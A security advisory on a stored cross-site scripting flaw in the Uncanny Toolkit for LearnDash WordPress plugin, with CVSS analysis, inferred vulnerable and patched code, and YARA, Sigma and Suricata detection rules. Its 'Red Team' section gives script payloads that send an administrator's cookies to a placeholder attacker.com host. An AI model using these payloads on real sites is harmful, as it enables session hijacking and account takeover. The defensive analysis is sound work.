CVE-2025-57988

Executive Summary

CVE-2025-57988 is a Stored Cross-Site Scripting (XSS) vulnerability in the Uncanny Toolkit for LearnDash WordPress plugin, affecting versions up to and including 3.7.0.3. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing authenticated attackers with contributor-level access or higher to inject arbitrary JavaScript into the plugin’s settings or output pages. This injected script executes in the context of any administrator viewing the affected page, potentially leading to session hijacking, credential theft, or privilege escalation. The vulnerability is currently unpatched by the vendor, Uncanny Owl, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for sites using the plugin in multi-user environments.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is a commercial product (Uncanny Toolkit for LearnDash), users must rely on the vendor for patches. No open-source patch data (OSV) or GitHub advisory context is available. Administrators should monitor the plugin’s changelog and consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs contributor-level access.
• User Interaction: Required (UI:R) – victim must view the malicious page.
• Scope: Changed (S:C) – impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of content.
• Availability Impact: Low (A:L) – limited disruption.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces immediate risk, but stored XSS in a widely-used LMS plugin can lead to persistent compromise of admin sessions.

Deep Dive & Mechanics

The vulnerability resides in the Uncanny Toolkit for LearnDash plugin, which extends the LearnDash Learning Management System. The plugin fails to sanitize or escape user-supplied input when rendering certain settings or output fields. An attacker with contributor-level privileges can inject malicious JavaScript into fields such as custom labels, messages, or tooltips. When an administrator views the affected page (e.g., the plugin’s settings panel or a course page), the injected script executes in the admin’s browser context.

Root Cause: The plugin uses echo or _e() functions without proper escaping (e.g., esc_html() or wp_kses_post()) for user-controllable data. This allows HTML and JavaScript to be stored in the database and later rendered unsanitized.

Attack Flow:

1. Attacker logs in as a contributor (or higher role).
2. Attacker navigates to a vulnerable input field (e.g., custom message field in the plugin settings).
3. Attacker injects a payload like <script>alert('XSS')</script> or a more sophisticated payload for session theft.
4. The payload is stored in the WordPress database.
5. Administrator visits the affected page (e.g., plugin settings).
6. The payload executes, sending the admin’s cookies or performing actions on their behalf.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred from typical WordPress plugin XSS issues.

Vulnerable Code (example):

// In a plugin file, e.g., uncanny-learndash-toolkit.php
function render_custom_message() {
    $message = get_option('uncanny_toolkit_custom_message', '');
    echo '<div class="custom-message">' . $message . '</div>'; // No escaping
}

Patched Code (expected fix):

function render_custom_message() {
    $message = get_option('uncanny_toolkit_custom_message', '');
    echo '<div class="custom-message">' . esc_html( $message ) . '</div>'; // Escaped
}

The patched version would use esc_html() or wp_kses_post() to neutralize HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Uncanny Toolkit for LearnDash <= 3.7.0.3.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to the vulnerable input field (e.g., Settings > Uncanny Toolkit > Custom Message).
3. Inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the settings.
5. Wait for an administrator to visit the settings page.
6. The admin’s cookies are exfiltrated to the attacker’s server.

Alternative Payload (for session hijacking):

<script>new Image().src='https://attacker.com/steal.php?cookie='+encodeURIComponent(document.cookie);</script>

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor for unusual input in plugin settings fields (e.g., <script> tags).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review WordPress user roles and restrict contributor access to trusted users only.

Mitigation:

• Disable the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown domains containing cookie= parameter.
  • Unusual Referer headers pointing to /wp-admin/admin.php?page=uncanny-toolkit-settings.

• Host IOCs:

  • Presence of <script> tags in the wp_options table under option names like uncanny_toolkit_custom_message.
  • Modified plugin files (e.g., uncanny-learndash-toolkit.php) containing unsanitized output functions.

• Log IOCs:

  • WordPress debug log entries showing wp_ajax or wp_cron calls with suspicious parameters.
  • Apache/Nginx access logs with POST requests to /wp-admin/admin-ajax.php containing XSS payloads.

Detection Engineering

YARA Rule

rule Detect_Uncanny_Toolkit_XSS {
    meta:
        description = "Detects stored XSS payloads in Uncanny Toolkit for LearnDash settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57988"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/s
        $option_name = "uncanny_toolkit_custom_message"
    condition:
        $option_name and $xss_payload
}

Sigma Rule

title: Stored XSS in Uncanny Toolkit for LearnDash
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Uncanny Toolkit for LearnDash plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=uncanny_toolkit_save_settings'
        sc-status: 200
    keywords:
        - '<script>'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57988 Stored XSS in Uncanny Toolkit for LearnDash"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=uncanny_toolkit_save_settings"; http_client_body; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Uncanny Owl.
2. Restrict user roles – only grant contributor access to trusted users.
3. Implement CSP headers to block inline scripts:

   Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
   

4. Use a WAF to block common XSS patterns (e.g., <script, onerror, javascript:).

Long-Term Fix:

• Apply the vendor’s patch once released.
• Conduct a security audit of all custom WordPress plugins.
• Enable automatic updates for WordPress plugins.

Workaround:

• If the plugin is critical, manually patch the vulnerable file by adding esc_html() to all output functions (see Vulnerable vs. Patched Code section).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert